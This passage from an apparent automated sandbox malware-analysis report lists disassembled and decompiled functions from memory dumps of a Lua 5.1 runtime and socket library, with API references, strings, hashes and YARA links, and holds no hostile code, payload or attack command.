lua_type.LUA5.1(?,000000FF,?,00000002,00000001,?,00000001,00000001,?,00000001,?,00000002), ref: 10013CB6
lua_settop.LUA5.1(?,000000FE), ref: 10013CC5

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checktype.lua_type.$lua_call.lua_objlen.lua_pushinteger.lua_pushvalue.lua_rawgeti.lua_settop.
String ID:
API String ID: 585797696-0
Opcode ID: ee12eecbc88c153ff8548ee395100c468ca2ae4be1030798645026142278667f
Instruction ID: 9cdc77a15441d6df1d088767ad2b50c2d28cb10efdd9af7734d254f0433b841c
Opcode Fuzzy Hash: ee12eecbc88c153ff8548ee395100c468ca2ae4be1030798645026142278667f
Instruction Fuzzy Hash: 55F0F63A75662031F52191682C87FCF024ECFC2BE5F144525F610B91C7E9D7BAD212EA

Uniqueness

Uniqueness Score: -1.00%

Function 10014740, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

luaL_checklstring.LUA5.1(?,00000001,?), ref: 1001474F

Part of subcall function 1000F4A0: lua_tolstring.LUA5.1(?,?,?,?,?,?,1000F292,?,?,00000000), ref: 1000F4B2

luaL_optinteger.LUA5.1(?,00000002,00000001,?), ref: 10014765

Part of subcall function 1000F600: lua_type.LUA5.1(?,?), ref: 1000F60C

luaL_optinteger.LUA5.1(?,00000003,00000000,?,?,?,?,?,?), ref: 10014781

Part of subcall function 1000F600: luaL_checkinteger.LUA5.1(?,?), ref: 1000F621

luaL_error.LUA5.1(?,string slice too long,?,?,?,?,?,?,?,?,?,?,?,?), ref: 100147C3

Part of subcall function 1000F230: luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238
Part of subcall function 1000F230: lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
Part of subcall function 1000F230: lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
Part of subcall function 1000F230: lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

luaL_checkstack.LUA5.1(?,00000001,string slice too long,?,?,?,?,?,?,?,?,?,?,?,?), ref: 100147D2
lua_pushinteger.LUA5.1(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 100147EF

Strings

string slice too long, xrefs: 100147BD, 100147CB

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_optinteger.$L_checkinteger.L_checklstring.L_checkstack.L_error.L_where.lua_concat.lua_error.lua_pushinteger.lua_pushvfstring.lua_tolstring.lua_type.
String ID: string slice too long
API String ID: 3324749499-1108821975
Opcode ID: 3952b07f33f4189af710d6d2c6914c3402bbd554bfb495256c4e8dd2a40fbbce
Instruction ID: d06ce83b699cc46522e71059813a6cd78ed58aeef6fbbd112ff21688a20b49f8
Opcode Fuzzy Hash: 3952b07f33f4189af710d6d2c6914c3402bbd554bfb495256c4e8dd2a40fbbce
Instruction Fuzzy Hash: 2211ECBA6052052FE700DA64ACC2F7B738CDB91299F150538FD459B187FA72FD8543A1

Uniqueness

Uniqueness Score: -1.00%

Function 10012990, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 79fileCOMMON

Download Yara Rule

APIs

lua_gettop.LUA5.1(?), ref: 100129A0
lua_type.LUA5.1(?,?), ref: 100129C3
lua_tonumber.LUA5.1(?,?), ref: 100129D6
fprintf.MSVCRT ref: 100129E7
luaL_checklstring.LUA5.1(?,?,?), ref: 10012A02
fwrite.MSVCRT ref: 10012A1A

Strings

%.14g, xrefs: 100129E1

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checklstring.fprintffwritelua_gettop.lua_tonumber.lua_type.
String ID: %.14g
API String ID: 1976426754-3267037135
Opcode ID: dda4afdf560d1c518ff7bab58d1a0a3378af31b71ed435a1207a31d427271954
Instruction ID: 2f313b860e51cbeff923530c61ada60116807f48882b9666612413512c1417df
Opcode Fuzzy Hash: dda4afdf560d1c518ff7bab58d1a0a3378af31b71ed435a1207a31d427271954
Instruction Fuzzy Hash: 8E11D3F590420167E320DA289C85F6B77ACFF84754F440929FD49DB242E631EDA4C6E3

Uniqueness

Uniqueness Score: -1.00%

Function 10015550, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

lua_pushlstring.LUA5.1(?,10015535,00000000,?,00000000,00000000,10015535,00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 10015574

Part of subcall function 10001930: luaS_newlstr.LUA5.1(?,?,?), ref: 1000195A

luaL_error.LUA5.1(?,invalid capture index,?,00000000,00000000,10015535,00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 10015589
luaL_error.LUA5.1(?,unfinished capture,?,00000000,00000000,10015535,00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100155A7
lua_pushlstring.LUA5.1(?,?,?,?,00000000,00000000,10015535,00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100155B9

Strings

unfinished capture, xrefs: 100155A1
invalid capture index, xrefs: 10015583

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_error.lua_pushlstring.$S_newlstr.
String ID: invalid capture index$unfinished capture
API String ID: 3553447912-3651965721
Opcode ID: 6647cdc3ecc38db527e8f3b73acec9949393d76c152649ddad5fe7f888349b28
Instruction ID: 5beef89bb52250c560c8a64c756a085f8b9e0d8ebbb7b75c64fc1859d3accd2c
Opcode Fuzzy Hash: 6647cdc3ecc38db527e8f3b73acec9949393d76c152649ddad5fe7f888349b28
Instruction Fuzzy Hash: B011A3FE6107019FD200DA68EC8186BB3EADBC42B6B14491DF5658B245D631FC858770

Uniqueness

Uniqueness Score: -1.00%

Function 10016660, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 65stringCOMMON

Download Yara Rule

APIs

luaL_checklstring.LUA5.1(?,00000001,00000000), ref: 1001666C

Part of subcall function 1000F4A0: lua_tolstring.LUA5.1(?,?,?,?,?,?,1000F292,?,?,00000000), ref: 1000F4B2

strchr.MSVCRT ref: 10016676
lua_pushlstring.LUA5.1(?,00000000,00000000), ref: 1001668C
lua_tolstring.LUA5.1(?,000000FF,00000000,cpath), ref: 1001669E
lua_pushfstring.LUA5.1(?,no module '%s' in file '%s',00000000,00000000,?,?,?,?,?,?,?,?,?,?,cpath), ref: 100166E3

Strings

cpath, xrefs: 10016694
no module '%s' in file '%s', xrefs: 100166DD

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_tolstring.$L_checklstring.lua_pushfstring.lua_pushlstring.strchr
String ID: no module '%s' in file '%s'$cpath
API String ID: 4158135052-2543832310
Opcode ID: 50a219fcfd248d2c4dbb57e2a70f3d1845cd9925a427702bd079bd2e2eb3a41e
Instruction ID: f39d27d0aab4ac67f16d0ff7995e0a5a3fe58111cb17e4254176ea171c1454d3
Opcode Fuzzy Hash: 50a219fcfd248d2c4dbb57e2a70f3d1845cd9925a427702bd079bd2e2eb3a41e
Instruction Fuzzy Hash: CF01DB9AA4115037F511A1292D47FFF159CCFCA6A9F050035FD04D9187E766DED280FA

Uniqueness

Uniqueness Score: -1.00%

Function 10014810, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

lua_gettop.LUA5.1(?), ref: 10014821
luaL_buffinit.LUA5.1(?,?,?), ref: 1001482E
luaL_checkinteger.LUA5.1(?,00000001), ref: 10014842

Part of subcall function 1000F5C0: lua_tointeger.LUA5.1(?,?), ref: 1000F5CD
Part of subcall function 1000F5C0: lua_isnumber.LUA5.1(?,?), ref: 1000F5DD

luaL_argerror.LUA5.1(?,00000001,invalid value), ref: 1001485F

Part of subcall function 1000F090: lua_getstack.LUA5.1(?,00000000), ref: 1000F0A0
Part of subcall function 1000F090: luaL_error.LUA5.1(?,bad argument #%d (%s),?,?), ref: 1000F0BC

luaL_prepbuffer.LUA5.1(?), ref: 1001487B
luaL_pushresult.LUA5.1(?), ref: 1001489D

Strings

invalid value, xrefs: 10014858

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_buffinit.L_checkinteger.L_error.L_prepbuffer.L_pushresult.lua_getstack.lua_gettop.lua_isnumber.lua_tointeger.
String ID: invalid value
API String ID: 2673964111-3106985237
Opcode ID: 7265912b92a4783eba58dd6d2daaebc0602cf8d4a6bff520dbd15ac023d430a0
Instruction ID: 68016a77fffaeb3939de681728501b2eff0c2135055e38de199b825cbe8e7786
Opcode Fuzzy Hash: 7265912b92a4783eba58dd6d2daaebc0602cf8d4a6bff520dbd15ac023d430a0
Instruction Fuzzy Hash: 340100B694438657E310EA50EC82ABF77A8DBC1280F15083DF9544B202FA35E84A93E3

Uniqueness

Uniqueness Score: -1.00%

Function 100106A0, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

luaL_checkoption.LUA5.1(?,00000001,collect,10017500), ref: 100106B4

Part of subcall function 1000F260: luaL_optlstring.LUA5.1(?,?,?,00000000), ref: 1000F279
Part of subcall function 1000F260: lua_pushfstring.LUA5.1(?,invalid option '%s',00000000), ref: 1000F2EA
Part of subcall function 1000F260: luaL_argerror.LUA5.1(?,?,00000000,?,invalid option '%s',00000000), ref: 1000F2F6

luaL_optinteger.LUA5.1(?,00000002,00000000,?,00000001,collect,10017500), ref: 100106C0

Part of subcall function 1000F600: lua_type.LUA5.1(?,?), ref: 1000F60C

lua_gc.LUA5.1(?,00000000,00000000,?,00000002,00000000,?,00000001,collect,10017500), ref: 100106CF
lua_pushboolean.LUA5.1(?,00000000), ref: 100106F7
lua_gc.LUA5.1(?,00000004,00000000), ref: 1001070D
lua_pushnumber.LUA5.1(?,00000000), ref: 1001072B

Strings

collect, xrefs: 100106AC

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_gc.$L_argerror.L_checkoption.L_optinteger.L_optlstring.lua_pushboolean.lua_pushfstring.lua_pushnumber.lua_type.
String ID: collect
API String ID: 3428933341-2751881972
Opcode ID: e370e5a4bb0e3e8cfc79287027e882750b096b63295d0903b39b0aef03d7f362
Instruction ID: 6c94b4e828dc716b794a92702795e78258ce1d8cff2578c9abc881bb3940b239
Opcode Fuzzy Hash: e370e5a4bb0e3e8cfc79287027e882750b096b63295d0903b39b0aef03d7f362
Instruction Fuzzy Hash: C9012876B0A61167E200DB589C02B9F7299EF81391F100429F284AA185DBB0F65983E7

Uniqueness

Uniqueness Score: -1.00%

Function 10010A40, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

lua_gettop.LUA5.1(?), ref: 10010A47
lua_type.LUA5.1(?,00000001,?), ref: 10010A51
lua_tolstring.LUA5.1(?,00000001,00000000), ref: 10010A63
lua_pushinteger.LUA5.1(?,00000000), ref: 10010A75
luaL_checkinteger.LUA5.1(?,00000001), ref: 10010A89
luaL_argerror.LUA5.1(?,00000001,index out of range), ref: 10010AAE

Strings

index out of range, xrefs: 10010AA6

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_checkinteger.lua_gettop.lua_pushinteger.lua_tolstring.lua_type.
String ID: index out of range
API String ID: 4230156580-2815927717
Opcode ID: 6d72fa16251f53c81f13a901ed9cfe70d78517c7a886d4eb5da6309969da4db2
Instruction ID: cfec5abce48c256e240dbe90c9620d54baf1b824c572c26986c178793c9a44d5
Opcode Fuzzy Hash: 6d72fa16251f53c81f13a901ed9cfe70d78517c7a886d4eb5da6309969da4db2
Instruction Fuzzy Hash: A2F0A93AF5021136E520D5641CC2BEE5259CF81AE6F450139FE84AF287E1E7ECD151D3

Uniqueness

Uniqueness Score: -1.00%

Function 00593E70, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00593E70(intOrPtr _a4) {
				void* _t2;
				void* _t8;
				intOrPtr _t9;

				_t9 = _a4;
				_t2 = E00591200(_t9, "udp{unconnected}", 1);
				_push(0);
				_push(2);
				_push(_t9);
				L00594B54();
				_push(3);
				_push(_t9);
				L00594B66();
				L00594BD0();
				_push(_t2);
				_t8 = E00591890(_t2, _t2);
				if(_t8 == 0) {
					_push(0x3ff00000);
					_push(0);
					_push(_t9);
					L00594B5A();
					return 1;
				} else {
					_push(_t9);
					L00594B4E();
					_push(_t8);
					_push(_t9);
					L00594AD0();
					return 2;
				}
			}

0x00593e72
0x00593e7f
0x00593e84
0x00593e86
0x00593e88
0x00593e8b
0x00593e90
0x00593e92
0x00593e95
0x00593e9a
0x00593e9f
0x00593ea7
0x00593eae
0x00593ec9
0x00593ece
0x00593ed0
0x00593ed1
0x00593ee1
0x00593eb0
0x00593eb0
0x00593eb1
0x00593eb6
0x00593eb7
0x00593eb8
0x00593ec8
0x00593ec8

APIs

Part of subcall function 00591200: sprintf.MSVCRT ref: 0059122F
Part of subcall function 00591200: luaL_argerror.LUA5.1(?,?,?), ref: 0059123C

luaL_checklstring.LUA5.1(?,00000002,00000000,?,udp{unconnected},00000001), ref: 00593E8B
luaL_checknumber.LUA5.1(?,00000003,?,00000002,00000000,?,udp{unconnected},00000001), ref: 00593E95
_ftol.MSVCRT ref: 00593E9A

Part of subcall function 00591890: htonl.WSOCK32(00000000), ref: 005918A9
Part of subcall function 00591890: htons.WSOCK32(?), ref: 005918B7

lua_pushnil.LUA5.1(?), ref: 00593EB1
lua_pushstring.LUA5.1(?,00000000,?), ref: 00593EB8
lua_pushnumber.LUA5.1(?,00000000,3FF00000), ref: 00593ED1

Strings

udp{unconnected}, xrefs: 00593E79

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_checklstring.L_checknumber._ftolhtonlhtonslua_pushnil.lua_pushnumber.lua_pushstring.sprintf
String ID: udp{unconnected}
API String ID: 2708727405-754074627
Opcode ID: c056e81331cc3fb45d5a08319700eccb166591c5ec25453b2ad9661953723447
Instruction ID: 95e5eb562b0460a7632b549ca7a7c0137d067d2af50a620962dc830dd703f236
Opcode Fuzzy Hash: c056e81331cc3fb45d5a08319700eccb166591c5ec25453b2ad9661953723447
Instruction Fuzzy Hash: F3F0897674152232ED2131682C4BF9F5A4EEFC5765F140421F600A7182D9999D1315BD

Uniqueness

Uniqueness Score: -1.00%

Function 00591D20, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00591D20(intOrPtr _a4) {
				void* _t2;
				void* _t8;
				intOrPtr _t9;

				_t9 = _a4;
				_t2 = E00591200(_t9, "tcp{master}", 1);
				_push(0);
				_push(2);
				_push(_t9);
				L00594B54();
				_push(3);
				_push(_t9);
				L00594B66();
				L00594BD0();
				_push(_t2);
				_t8 = E00591890(_t2, _t2);
				if(_t8 == 0) {
					_push(0x3ff00000);
					_push(0);
					_push(_t9);
					L00594B5A();
					return 1;
				} else {
					_push(_t9);
					L00594B4E();
					_push(_t8);
					_push(_t9);
					L00594AD0();
					return 2;
				}
			}

0x00591d22
0x00591d2f
0x00591d34
0x00591d36
0x00591d38
0x00591d3b
0x00591d40
0x00591d42
0x00591d45
0x00591d4a
0x00591d4f
0x00591d57
0x00591d5e
0x00591d79
0x00591d7e
0x00591d80
0x00591d81
0x00591d91
0x00591d60
0x00591d60
0x00591d61
0x00591d66
0x00591d67
0x00591d68
0x00591d78
0x00591d78

APIs

Part of subcall function 00591200: sprintf.MSVCRT ref: 0059122F
Part of subcall function 00591200: luaL_argerror.LUA5.1(?,?,?), ref: 0059123C

luaL_checklstring.LUA5.1(?,00000002,00000000,?,tcp{master},00000001), ref: 00591D3B
luaL_checknumber.LUA5.1(?,00000003,?,00000002,00000000,?,tcp{master},00000001), ref: 00591D45
_ftol.MSVCRT ref: 00591D4A

Part of subcall function 00591890: htonl.WSOCK32(00000000), ref: 005918A9
Part of subcall function 00591890: htons.WSOCK32(?), ref: 005918B7

lua_pushnil.LUA5.1(?), ref: 00591D61
lua_pushstring.LUA5.1(?,00000000,?), ref: 00591D68
lua_pushnumber.LUA5.1(?,00000000,3FF00000), ref: 00591D81

Strings

tcp{master}, xrefs: 00591D29

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_checklstring.L_checknumber._ftolhtonlhtonslua_pushnil.lua_pushnumber.lua_pushstring.sprintf
String ID: tcp{master}
API String ID: 2708727405-275915469
Opcode ID: ab427b9c776413559ce9907b1dc80d5f8657adf7e60b8ce3b5f4f68997115507
Instruction ID: 806aebfd522a2a33b34f6dfc430516febdf7aa383873fece7876c3037872c03b
Opcode Fuzzy Hash: ab427b9c776413559ce9907b1dc80d5f8657adf7e60b8ce3b5f4f68997115507
Instruction Fuzzy Hash: 2EF0827674162232ED2132786C4BF9F5A4EAFC5765F140421F600A7282DA999D1316FD

Uniqueness

Uniqueness Score: -1.00%

Function 00591E70, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00591E70(intOrPtr _a4) {
				void* _t2;
				void* _t3;
				intOrPtr _t10;

				_t10 = _a4;
				_t2 = E00591200(_t10, "tcp{master}", 1);
				_push(0x40400000);
				_push(0);
				_push(2);
				_push(_t10);
				L00594B72();
				L00594BD0();
				_t3 = E00594330(_t2, _t2);
				_t9 = _t3;
				if(_t3 == 0) {
					E005912A0(_t10, "tcp{server}", 1);
					_push(0x3ff00000);
					_push(0);
					_push(_t10);
					L00594B5A();
					return 1;
				} else {
					_push(_t10);
					L00594B4E();
					_push(E00594710(_t9));
					_push(_t10);
					L00594AD0();
					return 2;
				}
			}

0x00591e71
0x00591e7e
0x00591e83
0x00591e88
0x00591e8a
0x00591e8c
0x00591e8f
0x00591e94
0x00591e9b
0x00591ea0
0x00591ea7
0x00591ecf
0x00591ed4
0x00591ed9
0x00591edb
0x00591edc
0x00591eeb
0x00591ea9
0x00591ea9
0x00591eaa
0x00591eb5
0x00591eb6
0x00591eb7
0x00591ec6
0x00591ec6

APIs

Part of subcall function 00591200: sprintf.MSVCRT ref: 0059122F
Part of subcall function 00591200: luaL_argerror.LUA5.1(?,?,?), ref: 0059123C

luaL_optnumber.LUA5.1(?,00000002,00000000,40400000,?,tcp{master},00000001), ref: 00591E8F
_ftol.MSVCRT ref: 00591E94

Part of subcall function 00594330: listen.WSOCK32(?,?), ref: 00594349
Part of subcall function 00594330: WSAGetLastError.WSOCK32 ref: 00594352

lua_pushnil.LUA5.1(?), ref: 00591EAA
lua_pushstring.LUA5.1(?,00000000,00000000,?), ref: 00591EB7
lua_pushnumber.LUA5.1(?,00000000,3FF00000,?,tcp{server},00000001), ref: 00591EDC

Strings

tcp{master}, xrefs: 00591E78
tcp{server}, xrefs: 00591EC9

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorL_argerror.L_optnumber.Last_ftollistenlua_pushnil.lua_pushnumber.lua_pushstring.sprintf
String ID: tcp{master}$tcp{server}
API String ID: 477674981-1854474571
Opcode ID: 8d46abdf4754bfd3e7657375647eaa524046fb3abb76e82a29df76a1aa58fb4a
Instruction ID: 902af96068ac65caeb130e95a61d29722c3fd30e7e00a997f415947a90577a7f
Opcode Fuzzy Hash: 8d46abdf4754bfd3e7657375647eaa524046fb3abb76e82a29df76a1aa58fb4a
Instruction Fuzzy Hash: A5F05E7664152231ED2132297C4BFEF0D4EAFC6B14F550454F504B7187DA99AD8306AE

Uniqueness

Uniqueness Score: -1.00%

Function 10016D60, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,00000000,00000105), ref: 10016D72
strrchr.MSVCRT ref: 10016D8A
lua_tolstring.LUA5.1(?,000000FF,00000000,1001AB04,?,?), ref: 10016DB1
luaL_gsub.LUA5.1(?,00000000,1001AB04,?,?), ref: 10016DBB

Part of subcall function 1000F840: luaL_buffinit.LUA5.1(?,?), ref: 1000F86C
Part of subcall function 1000F840: strstr.MSVCRT ref: 1000F87A
Part of subcall function 1000F840: luaL_addlstring.LUA5.1(?,?,00000000), ref: 1000F894
Part of subcall function 1000F840: luaL_addstring.LUA5.1(?,?,?,?,00000000), ref: 1000F8A6
Part of subcall function 1000F840: strstr.MSVCRT ref: 1000F8B0
Part of subcall function 1000F840: luaL_addstring.LUA5.1(?,?), ref: 1000F8C5
Part of subcall function 1000F840: luaL_pushresult.LUA5.1(?,?,?), ref: 1000F8CF
Part of subcall function 1000F840: lua_tolstring.LUA5.1(?,000000FF,00000000,?,?,?), ref: 1000F8E0

lua_remove.LUA5.1(?,000000FE,?,00000000,1001AB04,?,?), ref: 10016DC3
luaL_error.LUA5.1(?,unable to get ModuleFileName), ref: 10016DE0

Strings

unable to get ModuleFileName, xrefs: 10016DDA

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_addstring.lua_tolstring.strstr$FileL_addlstring.L_buffinit.L_error.L_gsub.L_pushresult.ModuleNamelua_remove.strrchr
String ID: unable to get ModuleFileName
API String ID: 628390781-205594539
Opcode ID: 1840632dd69cc1e1db20209e811d9906ac52533a91661e3927af251b61137fec
Instruction ID: e2904118825fcd23bf0499d0a0809e334150eb7a965eb55f3f13ce048e7f1b9f
Opcode Fuzzy Hash: 1840632dd69cc1e1db20209e811d9906ac52533a91661e3927af251b61137fec
Instruction Fuzzy Hash: 9501A47990821077FB10E754AC42FEB32ECEF46350F494618FA98951C2FBB9E58486B3

Uniqueness

Uniqueness Score: -1.00%

Function 10016140, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

luaL_checklstring.LUA5.1(?,00000001,00000000), ref: 1001614B

Part of subcall function 1000F4A0: lua_tolstring.LUA5.1(?,?,?,?,?,?,1000F292,?,?,00000000), ref: 1000F4B2

luaL_checklstring.LUA5.1(?,00000002,00000000,?,00000001,00000000), ref: 10016157
lua_pushnil.LUA5.1(?), ref: 10016176
lua_insert.LUA5.1(?,000000FE,?), ref: 1001617E
lua_pushstring.LUA5.1(?,open), ref: 10016197

Strings

open, xrefs: 10016189
init, xrefs: 10016190, 10016195

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checklstring.$lua_insert.lua_pushnil.lua_pushstring.lua_tolstring.
String ID: init$open
API String ID: 2965937684-3963617861
Opcode ID: 980cb665942e1d7353c7bdff0241394305f1167cc6dfcb452d589348f1edd1a2
Instruction ID: 71a936d93c66294f735ecc031546c116cf9037778e77f12221cb0eb401a0eab5
Opcode Fuzzy Hash: 980cb665942e1d7353c7bdff0241394305f1167cc6dfcb452d589348f1edd1a2
Instruction Fuzzy Hash: 2DF0126A64556032E511911C7C42FDF119DCFC67A4F554025F904AF286DD69FAC302EA

Uniqueness

Uniqueness Score: -1.00%

Function 10010DA0, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

lua_newthread.LUA5.1(?), ref: 10010DA7
lua_type.LUA5.1(?,00000001,?), ref: 10010DB1
lua_iscfunction.LUA5.1(?,00000001), ref: 10010DC1
luaL_argerror.LUA5.1(?,00000001,Lua function expected), ref: 10010DD5
lua_pushvalue.LUA5.1(?,00000001), ref: 10010DE0
lua_xmove.LUA5.1(?,00000000,00000001,?,00000001), ref: 10010DE9

Strings

Lua function expected, xrefs: 10010DCD

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
